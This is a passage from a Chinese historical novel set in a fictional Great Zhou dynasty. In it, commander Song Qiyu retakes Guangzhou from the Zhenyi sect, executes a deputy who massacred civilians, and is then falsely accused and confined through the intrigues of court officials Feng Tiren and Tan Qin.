处敌友难辨,不可久留。你去把后面那间支家祭祖的斋堂点着,咱们也好趁乱走脱。”罗文德用力点点头说:“末将明白。” 小半个时辰之后,宋承宇、罗文德在招贤镇南街与段鲲、许地会合了。段鲲抑制不住兴奋的心情,说道:“那梁屠夫和他的七八个拜把弟兄自以为有些手段,还想在我们哥们面前招呼招呼,结果被我俩三下五除二都给结果了。外围的那几十个小喽啰更是被我们杀得一哄而散……”许地机警地观察着周围,制止他说:“先护着承宇出镇,等到了安全的地方,咱再详谈。”于是,几个人蹑足潜踪,快速地撤离了招贤镇。 第五十一回2 清剿真义教 千里之外,宋启愚正坐在兵部办公处奋笔疾书。门前值守的侍卫杨道见毛迪、余天锡和叶明奇到来,赶忙迎上去,气恼地说:“大帅这已经是第三次写请罪折了。朝廷明摆着就是欺负人,他们治政不力造成真义教大肆传播,又新丢了颍川和光州,这关咱家大帅什么事啊!”毛迪笑笑说:“兄弟稍安勿躁。那光州是冯相装神弄鬼的老巢,恐怕还会有些见不得人的勾当隐匿其中,这一丢,他当然上火了。咱家大帅本想把新的兵部操典和升降级制度制定出来再向南用兵,看来是没有这个时间了。”余天锡把胸脯一拔,说道:“不过,这也好。咱们正好借这个机会检验检验前半年练兵的效果。”叶明奇也说:“虽然,汤建手下号称有五六万人,但要让我看那都是些乌合之众,根本没有什么战斗力。”这时,屋内传出了宋启愚的声音,“承循、明奇和天锡进来吧。丢城失地是城防军作战不力,我这个兵部尚书肯定是有责任的。另外,真义教自从去年被那个汤建利用还是很有蛊惑性的。这次他们一举拿下了两座重镇,已经成了气候,咱们不可掉以轻心啊。”三将进门后叉手施礼。宋启愚和蔼地说道:“起来吧,坐下说话。明天就要开作战会议了,我想再听取一下你们的意见。”叶明奇一抱拳说:“大帅思虑周详,我们这些小字辈哪有质疑的道理。依照您的吩咐,末将已将随您出征的三万禁军挑选完毕,随时可以开拔。”毛迪拱手说:“负责粮草后勤工作的曹可用已先期去了小商桥。我大军在前进道路上将无任何障碍。”余天锡也抱拳说:“大帅,末将此次率两千炮军随您出征。我要让那汤建好好尝尝‘铁馒头’的滋味。”宋启愚微微一笑说:“很好。此次出征本帅将直扑光州,以迅雷之势夺回该城,从而阻断贼寇窜进南部山区的通道。其后,我们再恩威并施,安抚百姓,收服人心,希图慢慢恢复河山吧……” 两天后,宋启愚再次踏上了征途。只不过,这次,他享受到了前所未有的饯行荣光。 望着远去的蔽日旌旗,冯体仁喃喃自语道:“这头猛虎终于可以被老夫驱使了。”他转过身来,对石向祖说:“给宋枢密和出征将士们的三十万两赏银三天之内必须到位。本相不能让在战场上拼命的儿郎不安心。”石向祖躬身答道:“是,下官已将银钱准备整齐,明日便可发放。不过,这以后的军费该怎样筹措,下官还要请相爷示下。”冯体仁瞟了一眼旁边的魏柄忠,说道:“着户部、刑部和大理寺,立即收取在京犯官的赎罪银,只要不是谋逆和弑亲者,均可为其脱罪。记住,这只是非常时期的非常之法,仅此一次。另外,本相已将更改之后的经济策略呈给了皇上,不日便可执行。”石向祖等官员全都表现出喜悦状,躬身拱手说:“下官遵命。”只有魏柄忠和陆祥楠等少数官员略有迟疑。但,他们碍于情面和场合,也都保持了沉默。 回到了政事堂,冯体仁立即传见了谭琴。冯体仁干咳几声,问道:“本相交代你的事办好了吗?”谭琴躬身答道:“回禀老师,按照您的意思,严世贵和陈泰增都随着宋大人去了光州。他们一定能够先人一步到达天地神仙宫。”冯体仁捋了捋胡须说:“本相在光州的心血看来是保不住了,就让它付之一炬吧。关键是那几千僧人和道士……”谭琴再次躬身说:“老师放心,学生已向亲信下达了密令,让他们斩杀那些出家人。”冯体仁呵呵笑了笑说:“这段日子,谭大人在兵部干得不错。待明天,你就找时尚书把那笔赏银领了吧。另外,后面一段时间,拨付给兵部的粮饷也有劳谭大人代管代发。”谭琴的眼睛里闪烁着贪婪的光。他跪倒磕头说:“学生遵命,多谢恩师栽培。” 简短截说,宋启愚的部队仅用了十天时间就开到了信阳府。在扎下营寨后,宋启愚先命令信阳所辖的各个地方官来见。他要求这些府县主官在禁军的监督下召集百姓,将近年来留存在国库的坏账票据当众烧毁。他又命令曹可用调运大批粮食和菜种无偿分发给农民,并组织军兵帮着百姓抢时抢种。他还命欧阳亮、王寅虎、姜元廷、毕恒等属员深入各县,查处民愤极大的贪官恶霸,缓和民间矛盾。接着,他对外放出消息,声称自己因鞍马劳顿,得了重病,须长期静卧调理。他又命将佐们到处散发招抚文书,分化瓦解贼兵。 第五十一回3 清剿真义教 一晃儿,宋启愚在信阳驻扎了两个月。起初,匪首汤建对官军的到来非常恐惧,以至于动不动就命令各部严加戒备,防敌偷袭。而贼兵们在真义教的鼓动下,也表现出了一定的纪律性,经常是拉开架势,枕戈待旦。但时间一长,汤建和他的手下就有些懈怠了,尤其是那些因走投无路才来参加义军的农民们,对这种没完没了的紧张备战烦不胜烦,当听说宋枢密使刚刚减免了信阳百姓的债务,还帮他们种了地、恢复了生产,又听说朝廷已经发放了招抚文书,可以赦免从众,这些人的意志开始动摇,甚至还出现了一些成规模的逃亡和小范围的哗变。为了稳定军心、控制部众,汤建不得不下令把大部分兵力从外围收缩回了光州。 四月十五日下午,从宋启愚的统帅大营里突然传出了战鼓声。十几个营区的副将偏将和校尉们纷纷披挂整齐,小跑着前来拜见大帅。可当他们进入帅帐时,却见帅座空置,只有大将毛迪手捧着令旗站立在帅案旁边。毛迪高声喝道:“众将参拜帅旗。”军将们不敢怠慢,纷纷跪倒给帅旗行了大礼。毛迪拿起花名册,轻轻翻了两页,说道:“鉴于今日能够快速聚将,本参军就不再点名了。前日,大帅已经发布命令,要求列位收束部队,随时准备开赴前线。现在,大帅已经带着人马往光州去了。临行前,大帅特命毛某将最新的指令分发给众位。各将接令后,即刻按令执行,如有违误迟慢者,毛某做为执纪官,定然军法从事,绝不容情。”大帐内的一百多名将佐全都屏息细听,生怕错漏了一个字。毛迪举起一支将令叫道:“叶明奇接令。”叶明奇出列抱拳喊了声“末将得令”,便把令箭接了过去。毛迪又抄起一支将令叫道:“戴新民接令。”一员副将出列抱拳说:“末将听令。”并把将令接了过去。毛迪继续传令说:“严世贵接令。”副将严世贵出列行礼,接受了令箭……很快,毛迪传完了宋启愚交给的十二道将令。他扫视了一眼在场的将佐们,朗声说道:“各位依令而行,明日辰时,咱们在光州城头拜见大帅。散帐!”刚刚接受了命令的偏将康恩赶紧上前问道:“哎,哎,哎,毛将军,你也不说说咋回事。咱家大帅什么时候出发的,现在到什么位置了?”叶明奇也拉住毛迪问:“就是啊。你这都给咱弄懵了。”毛迪微微一笑说:“你们手里除了令牌不是还有一道手令吗,上面写得清清楚楚。宋大帅已于前日晚间率领一万精锐和两千炮军向光州开进了!你们若还想立功的话,就得马上拔营,并遵照将令行事。”在前排围着毛迪问询的几位将军恍然大悟道:“怪不得觉着这帅营不同以往呢,感情是座空营啊!”偏将施济胜挑起大拇指说:“宋枢密使用兵如神,连我等近在咫尺的将佐都未能窥得端倪,末将真是服了。行了,啥也别说了,赶紧回营,提兵向光州进军。”众将纷纷拱手向毛迪告辞,并从帅帐里退了出去。 与此同时,宋启愚的大军已经开到了宝城县以东。骑乘白马的枢密使矗立在高高的山崖上,用手点指着东方说道:“天锡,此处离光州不过四十里,离敌军最精锐的前营更是近在咫尺。我已命令郭林突前,申鲤、冉世杰压住两翼,张广胜率领骑兵在后策应。待会摆开了阵式,本帅要你万炮齐鸣,彻底砸灭贼寇的气焰。”余天锡抱拳应道:“大帅就瞧好吧,咱这五十门铁炮顷刻间就能让贼营一片火海。”宋启愚叹了口气说:“从本心来讲,我不愿意杀这么多人,更何况杀的尽是些被逼落草的农民,可是,若不打垮当面之敌,我们又怎样光复光州、恢复生产呢!”他无奈地沉吟了片刻,转头说道:“天锡,你去吧,所有的罪责由我承担。”余天锡唱了个肥诺,打马离开了。宋启愚又对旁边命令道:“刘戈,你做督战官,对临阵怯战、不听指挥、拒不向前者,杀无赦。”刘戈抱拳行礼说了声“得令”,边拨转马头边对远处的一队骑兵挥手喊道:“督战队跟我来。”宋启愚最后命令道:“伍名、开复,在占领光州后,你们要快速地接管城池。本帅不允许有烧杀抢掠、残害俘虏的事情发生。”李开复和伍名抱拳喝道:“末将得令。” 电光石火,霹雳闪爆。光州西面的真义军仅仅抵抗了小半个时辰便崩溃了。存活下来的义军兵将丢下伤员、扔掉旗鼓,没命地往光州城逃去。郭林、张广胜等将领则带着部队跟在后面穷追猛打,竟然咬着敌军溃兵的尾巴突进了光州西门,并把敌人的城防打了个七零八落。戌时,余天锡的炮军也开到了光州。那些被炮声吓怕了的败兵迅速地把恐慌情绪传递给了其他部队。结果,城内的汤建所部仅挨了两轮炮击便吱哇乱叫着、相互踩踏着逃往了蓼城,连汤建本人都受了轻伤。 第二天,当其他各军陆续到达光州时,宋启愚的统帅大旗早已高高飘扬在城头。禁军将士们在欢庆胜利的同时,无不对自己的统帅钦佩之至,交口称赞。 第五十一回4 清剿真义教 下午,宋启愚在城内看望军民、检查城防时,伍名打马来报,称严世贵纵兵在南门外的光山上杀人放火。宋启愚怒道:“本帅下的有严令,这个副将竟敢烧杀抢掠!刘戈、杨道,你们去,立即把严世贵押来见我。”他又对伍名说:“你也到光山去,对胆敢杀人和焚烧宫观的官兵,一律就地正法。”几员战将应诺一声,匆匆离开了光州城。 至夜,刘戈和杨道押着严世贵和一些乱兵来见统帅。已经向伍名核实过事情经过的宋启愚盯着跪在案前的严世贵,缓缓说道:“严将军,你是谭侍郎保荐的人才,又是文举人出身,当比其他人更加知道军法的厉害。可你却违反将令跑到天地神仙宫去作乱。本帅治军向来严谨,怎能允许你胡作非为,又怎可不对你从重处置!来人,把这个违反军令的副将推出去,斩首!”严世贵大声喊着冤枉,并说自己是奉命行事。宋启愚一拍桌案说道:“严世贵,你已经是正三品的副将,在这军营里除了本枢密、叶将军、毛参军和余将军之外,还有谁能支使得了你?你一定是听说在天地神仙宫里有无数佛道宝物,才起了贪心要去抢夺,结果,发现那里的宫观早已被贼兵焚毁,你为了泄愤随大肆砍杀周边的僧道百姓。如今,看本帅真的要治你的罪,你才胡乱攀咬,想保住狗命,是也不是?”严世贵用力磕着头说:“宋大人,末将确是奉命行事,绝非虚言啊!”宋启愚向前探了探身子问:“你倒是说说受何人之命,本枢密自会将他们一同查办!”严世贵又磕了个头说:“请大人屏退左右。”宋启愚轻笑一声说:“在我的军营,阴谋只被用来对付敌人,你尽管大大方方地讲。”严世贵向左右看了看,冷笑着说:“大帅,本将可是为了你好,若我真说出来了,恐怕你也不好交代。”宋启愚不卑不亢地答道:“古语云‘将在外君命有所不受’。今日没有任何人能让你脱罪。”严世贵又冷笑了几声说:“宋大人,你要知道,在你这个副一品的枢密副使上面还有很多高官。难道你对他们也会这样说话吗?”一旁站着的毛迪听了这话,走到宋启愚身侧,压低声音说:“大帅,他这个话里似有所指。您是不是给他一个申辩的机会。”宋启愚轻轻皱眉,略有迟疑。谁知道,严世贵以为宋启愚服了软,竟不识好歹地昂起头来,戏谑道:“对吗,大帅为了自己的前程,还是屏退左右的好。”宋启愚大怒,喝道:“国家在这淮河地区民心已经丧尽,本帅花了好大的力气才让其恢复了一些。可你却败坏了我军的名声,迟滞了本帅进攻的步伐。而且,这光州既已收复,这里的每一个人便是我大周的子民,这里的每一处房舍便是我大周的财产。你违抗军令在前,杀人越货在后,现在又想攀咬朝中大员,扰乱公众视听,本帅岂能容你!来人,将他推出去,明正典刑。”程元甲带着几个护卫呼啦一下扑上来,不由分说就把严世贵往外拖。严世贵眼见坏事,没命地挣扎着,歇斯底里地叫喊道:“大帅饶命啊!大帅开恩!是冯相和谭侍郎吩咐我做的呀!末将无罪!末将不服!”宋启愚把一支令箭扔出帅案,追加命令道:“休要让他胡说。斩。”他又转脸看着那几十个瑟瑟发抖的军将说道:“本枢密原想治你们滥杀无辜的罪,但一则伍名将军已在光山手刃了几十个乱兵;二则你们是听了将领严世贵的命令,不得不为;三则你们当中有不少人是以训练刻苦、作战勇敢着称的,象薛成、胡刚这样的勇士,还有贺阳这样的独子,我实在不忍心对你们施以极刑。本帅,本帅今天就放了你们,但你们要记住,你们每个人都欠着淮南百姓一条性命,你们必须用自己的余生来赎买前罪。”帐下跪着的乱兵先是磕头谢罪,继而全都放声大哭起来。 远处传来了号角和信炮声,紧接着,急促杂沓的脚步声由远而近,程元甲手捧着一个黑漆托盘走进了大帐。他单腿打千禀报道:“大帅,现有犯官严世贵一名,业已斩讫。请大帅验看。”宋启愚紧皱着眉头,叹道:“将军不以国事和人民为重,却把心思倾注在公器的私相授受上,终致有此下场。传令,把他的首级挂在天地神仙宫的废墟前示众三日,而后,以副将礼厚葬严将军,对其家眷吗,也当从重抚恤……” 自从斩了严世贵,宋启愚的这支部队纪律更加严明,战力愈发强大。他们在其后不到两个月的时间里,连战连捷,先后光复了蓼城、顺昌、颍川等城池,基本恢复了朝廷在淮南地区的行政机构和军事管辖。 一份份捷报飞入京城,不少权贵弹冠相庆,欢喜称道,可谭琴却一点也高兴不起来。他坐在自己的内宅里拍案骂道:“这个可恶的山西贼坯,是我谭琴向冯相保荐的你,你却不看我的面皮,擅杀我的亲信。你还快速进军,连连得胜,短短四五个月就吵吵着要班师回朝。朝廷公事哪有这样办的?你们家有钱,不在乎每月三十万两银子的军费,可你也让谭某人多得上几个月的油水啊!”他气哼哼地在屋子里踱了几圈,站定言道:“本官既然能保你,也就能踩你,你就等着穿小鞋吧!” 第五十二回1 罪名莫须有 八公山下,淮河岸边,宋启愚揩干身上的水,披上中衣,指着阳光下戏水的几群战士,笑着喊道:“申鲤,看来这水里的功夫还是你厉害啊!从对岸游过来,你硬是领先了我十几丈咧。”水里的申鲤举手摇了摇说:“到水里我就到了家,当然自在了。不过大帅的水性在普通人里已算是不善了,甚至比水边长大的丁宁、王闯还强些呢,可能跟参军差不多!”侍立在宋启愚身后的毛迪乐呵呵地言道:“要是跟大帅比,我肯定不是对手,但要是跟你比吗,谁输谁赢还不一定呢!”宋启愚挥手对岸上看热闹的军将们喊道:“申将军叫板,毛参军不服,大伙说怎么办?”“让他们比比!比!让他们斗一斗!”军士们大声地呼喊着。宋启愚朗声说道:“申将军的水性大家都知道,也许只有段鲲赶得上。为了公平起见,他们不能单打独斗。本帅特意设置了一场游戏,让他们二人各挑选十名军卒,再在这水中放上六十只鸭子,由双方抓取,哪方捉住的鸭子多就算哪方胜。胜者可以享用鸭肉,负者只能在旁观看。你们说如何?”“好啊。好!”士兵们全都欢呼道。毛迪也鼓掌叫道:“咱就这么办。樊新、乔远、孙炜、宋兴,还有李景、侯良;嗯,后面的弟兄谁的水性好,再来四个,跟着我下水打这一仗。”不少官兵涌上前来,要跟毛迪组队。那边申鲤也在安排着本队的人手。宋启愚冲杨道挥挥手说:“去把鸭笼搬来。让大伙热闹热闹。”杨道应诺一声,飞跑着去了。 没过多大功夫,一场充满趣味的水上比赛开始了。宋启愚看着士兵们高兴的样子,听着赛场内外热烈的欢呼声,无限感慨地对余天锡说:“后天就要班师了,让大伙再好好享受享受这里的惬意吧。” 与此同时,谭琴正在宰相府里向冯体仁汇报着宋启愚的种种“劣迹”。冯体仁皱着眉头听完,沉吟道:“要说擅杀属员,历朝历代的封疆大吏和镇军大将都有这种毛病,不算什么大罪过;居功自傲和贪墨粮饷吗,也属将帅通病,你又没有实证,怎么能给人定罪;至于培植势力,他要是没有几个嫡系为其卖命,他又怎么能取得一系列大捷呢?谭琴啊,本相知道,你是为自己的学生鸣冤叫屈,但那严世贵也太孟浪了些。天地神仙宫既已被焚,其中的大部分僧道也已逃散,他就该封锁住光山,只杀掉滞留人员。可他却要扩展到周边村镇,闹出那么大的动静,人家宋枢密能不治他的罪嘛?”谭琴向上磕了个头说:“恩师所言确实有理,不过,那严世贵既已提到恩师名讳,宋启愚便该法外施恩才对,怎么能不经请示就将其斩首呢。”冯体仁喝道:“糊涂!宋枢密为了维护你我的名声,将胡乱攀咬的疯狗就地正法有何不妥?要是当时老夫在场,真狠不得褫夺他的抚恤,流放他的家人。你呀,这种有损德性的话,以后不可再说。”谭琴见冯体仁态度坚决,随不敢再辩,唯唯称是后退了出来。 回到礼部衙门,谭琴刚进前厅就眼前一亮。他欣喜地叫道:“徐御史!谭某盼星星盼月亮可算把你给盼回来了!怎么样?”那位御史赶忙迎上前来,施了一躬说:“挚友徐立毅见过尚书大人。咱们还是进屋细谈。”谭琴一边向办公处让着徐立毅,一边对手下吩咐道:“本官与徐御史有要事相谈,你们都到厅外守着,没有我的话,任何人不许打扰。” 进屋之后,谭琴略显急切地问道:“徐兄,此行可有收获。”徐立毅轻叹一声说:“谭兄,此次光州之行,我收获不大。你想从贪墨方面抓住宋启愚的把柄几乎不可能。他这个人从来不自己管钱,而是通过那个后勤管理局调用钱粮物资。军中但凡有军将贪污挪用,立即就会有人将核算结果上报给他或曹可用。在这一年里,被他处理过的将校就多达五六十人。我们御史台和谏院的打算制度都远不如他的这个体系有效。而他麾下的将士也都把他奉若神明,不愿出首告发他的劣迹。连你的学生陈泰增也只能偷偷告他干涉地方行政,扰乱民生建设,而且还都是些摆不上台面的话。若说培植势力吗,宋启愚又到处宣扬‘为国出力,为民用命’,这些也没有什么可指责的呀。我当了十几年御史,硬是没碰上过这样的人物。”谭琴懊恼地说:“难道就让他白白地杀了我的亲信不成!”徐立毅一笑说:“谭兄莫泄气。一条路走不通,咱们可以换一条路吗!”谭琴听他话里有话,凑过来又问:“你倒说说是条什么路?”徐立毅嘿嘿笑笑,说道:“我在天地神仙宫附近查访到一个道士。他是冯相专门安排为先帝置备丹药的。据这个道士交代他们炼的这些所谓‘仙丹’其实都有毒。特别是到了后期,他们在丹药中又加入了一味‘红铅’。天通皇爷驾崩后,冯相便派人通知他们立即焚毁丹方、销毁丹药和丹炉……”谭琴急忙打断徐立毅说:“嘘!”他警惕地走到房门前向四周看了看,才掩上门小声说:“难道先帝是死于丹药……那冯相岂不是有弑君……”他打了个冷战,不敢再往下说。随即,他更换口吻说道:“事关重大,看来,我们只能收手,放过宋启愚了。”徐立毅阴森地说道:“谭兄聪明一世却糊涂一时。你想想看,冯相为什么急于收回光州,为什么让你派亲信抢先进驻?他还不是想掩盖置备仙丹的秘密吗?如果咱们告发宋启愚正在调查天地神仙宫的事,你说冯相会怎样反应?”谭琴犹如大梦初醒,惊叹道:“我怎么没想到呢!好计,好计!贤兄才是咱大周不可多得的人才啊……” 第五十二回2 罪名莫须有 二十天后,宋启愚的大军班师到达了睢阳。 傍晚,宋启愚换上便装只带着毛迪、刘戈,悄悄进了县城。他们走街过巷,来到一处不甚气派的高墙外面。宋启愚戚然地指着门楼说:“承循去叫门吧,就说宋宣道拜见。”毛迪走到近前,发现门前的石狮胸前竟然錾刻着十三朵璎珞,而在暗黑的门楼内,金匾上赫然写着“睢阳王府”四个大字。毛迪突然明白了,这是夭折的共治帝石垚曾被封赠的府邸。他走上前去,扣响了锈迹斑驳的门环。开门的院公很客气地把三人让进了门房,并派家丁入内通报。 不大的功夫,一个身穿灰布长衫,头戴灰布方巾的年轻人跟着家丁匆匆走来。年轻人见了宋启愚倒身下拜说:“学生宋好问见过先生。”宋启愚扶起年轻人,怅然道:“上次来,已是三年前的事了。小王爷可好,读书可有长进?”宋好问躬身答道:“王爷懂事又勤奋,自开蒙以来,已学到《论语》第七篇。”宋启愚见毛迪和刘戈面面相觑,随将二人向宋好问做了引见,宋好问也对二人躬身行了礼。接着,宋启愚对毛迪二人说道:“起初,好问是咱天龙三学的学生,那年再造巡视山西,把他要到了身边。再后来,共治帝遇难,天通帝继位。由于天通皇爷嫌共治帝是静福公主所立,便废了他的帝号,改称其为睢阳郡王。当时,朝中的宗亲害怕得罪皇上,竟无人敢为七岁的共治帝治丧,最后,还是扬王殿下出面才给小皇帝料理了后事。为了存续睢阳王血脉,扬王殿下将自己刚刚满月的六子石潢过继给睢阳王,并命人护送其出京来到了此处。不想,几个月后,扬王遇害,全家被屠。这个孩子因不在京城,才躲过了浩劫……为了教导、养育扬王殿下的这个幼子,我和再造便派好问来到王府,转眼已有四五年了。”毛迪和刘戈听了这话,对宋好问肃然起敬。宋好问平复了一下心情,微微笑了笑说:“先生和二位将军,殿下正在厅上恭候,我们是否去拜见一下王爷?”宋启愚赶忙说:“这个自然,还请好问引路。” 睢阳王府是个很小的院落,也没有几个下人。宋启愚在宋好问的引领下只过了一道门墙便见到了只有六岁的石潢。衣着朴素的睢阳王见了宋启愚身施一躬说:“宋先生好。石潢给您见礼。”宋启愚紧走几步,跪在小王爷脚下,说道:“上天垂怜,终为扬王保留了这点骨血……” 那天之后,宋启愚又在睢阳驻扎了三天,这才拔营起寨。 八月底,宋启愚率军抵达了开封丽景门外。与出征时的盛大场面不同,这次,前来迎接的仅有侍卫步军都指挥使牛光等少数几个官员。礼部尚书兼兵部侍郎谭琴头戴乌纱帽,身穿紫色圆领绣莽袍,手捧圣旨,上前喊道:“皇上有旨,众军将跪接。”宋启愚不敢怠慢,翻身下马,领着一干将佐趋步向前,恭恭敬敬地跪在了大道当中。谭琴清了清嗓子,朗声读道:“奉天,承运,皇帝召曰。兵者乃国之利器,必须托付忠君爱国之士。用以剪除侮谩王法之徒、威逼王权之辈、侵害五行之子、犯我疆土之敌……今淮南变乱,邪教骤起,朕为天下苍生计,特命侍卫亲军往剿贼寇。幸得祖宗保佑,上天庇护。将士们克光州、下蓼城、收顺昌、占颍川,终于光复淮水,扑灭奸徒。朕初闻之,内心甚慰,必欲对军将们大加恩赏。然而,淮南各地官员上书,斥责宋枢密副使启愚擅杀大将在前,居功自傲在后,贪墨粮饷,欲图专权。朕虽不信此弹劾,但为了维护法纪,又怎能不派员调查这些诉状?故此,朕暂时解除宋启愚对侍卫亲军马军的指挥权,并由御林军看押,禁锢府中,一切功过是非,均待真相查明,再做处置。其下禁军将士则转由牛光将军节制……”宋启愚听了圣旨,犹如五雷轰顶。他压抑着内心的愤懑,磕头说道:“臣,遵旨。只是,可否容臣再见一见圣上和冯相。”谭琴冷笑一声说:“宋大人,我看就不必了吧。你有什么话尽可以通过奏折上达天听。”跪在宋启愚身后的毛迪、申鲤、叶明奇、戴新民等将校全都不干了。他们跳起来愤怒地质问谭琴道:“宋枢密犯了什么罪?皇上为何要监禁宋大人?是什么人要陷害大帅?皇上怎么能听信谗言呢!我家大人冤枉!你让那些鸟人把罪证拿出来……”旁边的步军都指挥使牛光还想耍耍威风,过来就训斥众人,结果被刘戈等将校一通乱拳打了个满地找牙。谭琴看势头不对,赶忙凑近宋启愚,陪着笑脸说:“宋贤兄,事情不是还没有查清楚吗?你这样一闹反而授人以柄。咱们不如先回府中,再上书朝廷,我相信皇上和冯相一定会还贤兄公道的。您看是不是……”宋启愚冷冷地看着谭琴,对身后喊道:“国家自有法度在,兄弟们都稍安勿躁,我身正心正,不怕人查。”他转过身来,冲着全体将士施了三躬,说道:“列位兄弟随我出征多有功勋,宋某拜谢了。只是,没能给大家讨得封赏,我心中实在不安。军将们先请回营,犒劳之物我随后自会令人奉上。”说完,宋启愚一甩战袍,头也不回地走向了押送他回府的御林军。 当天,毛迪、申鲤以及后回京城的余天锡、伍名等将领都汇集到后勤管理局找曹可用商议对策。曹可用又赶紧把欧阳亮、王银虎、周邦彦等文臣也叫来议事。他们达成的共识是:先要弄明白大帅因何被囚禁;然后再托各种关系,不惜一切代价营救大帅;同时,还要派人进府,保护大帅安全。其后,众人行动起来,开始四处打点,希图有所收获。 俗语说“锦上添花易,雪中送炭难”,别看朝中那些权贵之前跟宋启愚称兄道弟,结交甚欢,可到了这种时候,全都三缄其口,甚或闭门谢客,拒不露面。毛迪等人拿着重礼,接连央求了十几位高官,才从吏部尚书陆祥楠那里打听到,是有人诬告宋启愚正在调查冯体仁的丑事,冯相随为了泄私愤给宋启愚穿了小鞋。 第五十二回3 罪名莫须有 经过思虑,毛迪决定先请大员探探冯体仁的口风。于是,他和欧阳亮去见了执政白铭肇。二人声泪俱下,费尽了口舌,终于说动白执政向冯相求情。白铭肇也挺帮忙,找出了大量宋启愚的文书、信札和奏折,带着去见冯体仁,想向其证明宋启愚不会做出越轨的事情。哪知冯体仁听了申诉竟对白铭肇说:“宋启愚擅杀大将的罪责是铁板钉钉的。至于他居功自傲,贪墨粮饷,欲图专权的罪证现在还在调查。白大人不知回避,反而为他讲情,难道就不怕有人弹劾你徇私枉法吗?”白铭肇冷笑几声说:“欲加之罪何患无辞!在斩杀严世贵后,宋枢密已将因由向朝廷做了汇报,冯相当时还夸他当机立断、治军严明,为何数月之后却改了判词。还有那些捕风捉影的指控,完全无法证实,怎能就这么轻率地处置封疆呢?我为国家保护能臣,又怎么能算是徇私枉法呢?”冯体仁怒道:“实证莫须有!难道等他提兵造反才算实证吗?任何人只要心存不轨,早晚会作奸犯科。老夫不能等到事态恶化了,再仓促应对,而要提前预判,防患于未然。”也许是觉得自己说得太过分,冯体仁缓和了一下口气又说:“当然,本相还是爱惜人才的,在没有更重的指控之前,老夫也只是封禁宋启愚而已。他只要认真反省,改过自新,本相还会给他起复的机会……”虽然这次,白铭肇的求情没有奏效,但毛迪等人却安心了许多,因为,他们觉得冯体仁并没有严厉处置宋启愚的企图。 两天后,王银虎从宫内太监白济处打听到,陷害宋启愚的幕后主使很可能就是谭琴。在众人碰头时,曹可用怒不可遏地骂道:“这个天杀的无耻之徒!自己要揽权,就去倾轧同僚;自己想邀功,就去挑起事端;自己搞贪污,就去诬陷正直;自己不满意,就去毁灭一切。这种人太歹毒了!”站立在一旁的崔俊睿赶紧拱手说:“请曹大人息怒,慎言。咱们现在要想办法救大人,不可意气用事啊!”曹可用伸手说:“你放心,我能控制得住,不会做傻事。咱们这样,由王大人和崔大人去游说谭琴。你俩婉转些告诉那个无赖,只要他能让咱家大人脱困,我们情愿赠送他三十万两纹银的谢礼。这可比他苦心巴力地贪墨军费容易得多,也多得多。你们要让他觉得,既买了咱们的人情,又得了实际的好处。他顺水推舟,何乐而不为呢。”伍名挑起大拇指说:“我赞同曹大人的意见。只要没了原告,大人的罪名便不会加重。”申鲤则骂道:“便宜了那条疯狗!”余天锡舒了口气说:“只要能保住大人,花再多的钱,咱也值得。等渡过了这一劫,我他妈用炮轰平了这小子。”最后,毛迪手抚着额头缓缓说道:“就照此办理吧。另外……” 众人的努力最终有了成效。一个月后,冯体仁下令撤去了宋府外的第一层封锁,但仍不允许宋府内外传递消息。 在这种情况下,毛迪决定辞去兵部职务,以平民身份进入帅府,陪伴大人。众人在又一次会晤时,欧阳亮劝阻毛迪说:“参军,这不行啊,你怎能也进囚笼呢?”申鲤也说:“不可,不可。起初,咱们已经把刘戈、杨道派进了帅府。大人的安全,没有问题。况且,这府内府外消息不通,你在外面还能为救援大人出力,可要是到了里面……”毛迪微微一笑,说:“正因内外消息不通,我才更得进府。一则,我想把大帅获罪的原因和朝廷的态度告诉大人,跟大人商量对策。二则,我想帮着大人书写抗辩折和请罪折,以期让大人早日脱罪。三则,也是最重要的,我前些时在大帅原先制定的密文和哨令基础上,开发出了一套旗语。我进府之后,咱们就可以利用后花园假山与汴河边的楼台进行联络,从而神不知鬼不觉地恢复通信。此事,我已向程开甲和权正宜做了交代。他们嗣后会向伍名领受命令。”曹可用很感动地抱拳说:“参军一片赤诚,且思虑周详,曹某非常敬佩。就照参军的意思办,需要我等怎样配合,还请参军示下。”毛迪扫视着身边的弟兄,郑重地抱拳说:“我进府之后,各位仍要继续活动、上下打点,尤其要讨好跟冯相关系近的那些高官,吃闭门羹汤,遭白眼讽刺,受打压排挤,被敲诈勒索都要一忍再忍,直到大人恢复自由。此外,余兄长、申兄长、伍名并请转告叶明奇、郭林、冉世杰、张广胜、康恩等将军一定要管带好各自的部队,牢牢地抓住兵权。曹大人和周大人也要把握住后勤管理局,不能有稍许懈怠。只有这样,才能保证咱家大人无论在哪儿都拥有反击的力量。”众人全都向毛迪躬身抱拳说:“参军放心,我等遵从将令。” 第五十二回4 罪名莫须有 千里之外,金溪之滨,宋承宇四人正被几个义军推搡着加入一群劳工,而在前方,一座矿山在层峦叠嶂之间显露出灰白色的巨大的采石口。一个兵头对另一个兵头说道:“王队长,在城门外抓了几个北方佬,先编进你这个村,让他们都去矿上干活。”王队长反问道:“张队长,让他们干轻活还是重活啊?”那个兵头骂道:“这是几个穷鬼,连一个大子儿都抠不出来,你就看着安排吧。”旁边的两个兵丁听了这话,识趣地挥舞着鞭子,其中一人还在段鲲的屁股上跺了一脚,吆喝道:“往前走,一会儿跟着他们砸石头去。” 在行路的过程中,罗文德嘟囔道:“真倒霉,刚到此地就被抓了壮丁。”一个中年男人小声言道:“你这外乡人,不该到咱这地方啊。”宋承宇说道:“我们听说江浙人都安居乐业,才逃到这里,谁知道……”中年男人叹气说:“几年前刚闹饶王那会儿,老百姓也过了几个月舒心日子。大伙都称颂‘饶王来,民丰足’。可他们接管官府后,就全变了。”一个年轻人接话说:“前年,咱这儿来了个叫朱老六的县令。他怕有人造反,就把每五家分成一组,派一个士兵管着,谁家要是犯了法或者跑了人,其他五家要一同治罪。”段鲲咬牙说:“那就没人反抗吗?”年轻人向左右看了看说:“谁敢啊,官府没收了所有的铁器,又杀了那么多人,谁有这个本事呀!不怕您笑话,现在,我们这儿的人就算被军爷欺负,当了王八,都不敢吱声。”许地骂道:“这帮王八蛋都他妈该死。”中年男人忙制止他说:“可不敢这么说呀!哎,小兄弟,咱这种贱民就该受人欺负,你还是认命吧。咱只求菩萨,来生别把咱脱生成人,别再让咱遭这人世间的罪了。”宋承宇压抑着心中的怒火,安慰中年人道:“大叔莫灰心,会有侠士来救你们的。”中年男人叹气说:“天底下哪有这样的人啊!哎!”宋承宇又说道:“一定会有的。你就告诉我,若有人杀了这些贼兵,会牵连你们吗?”那个年轻人抢话道:“只要我们及时地向上报告,就没我们的事……”这时,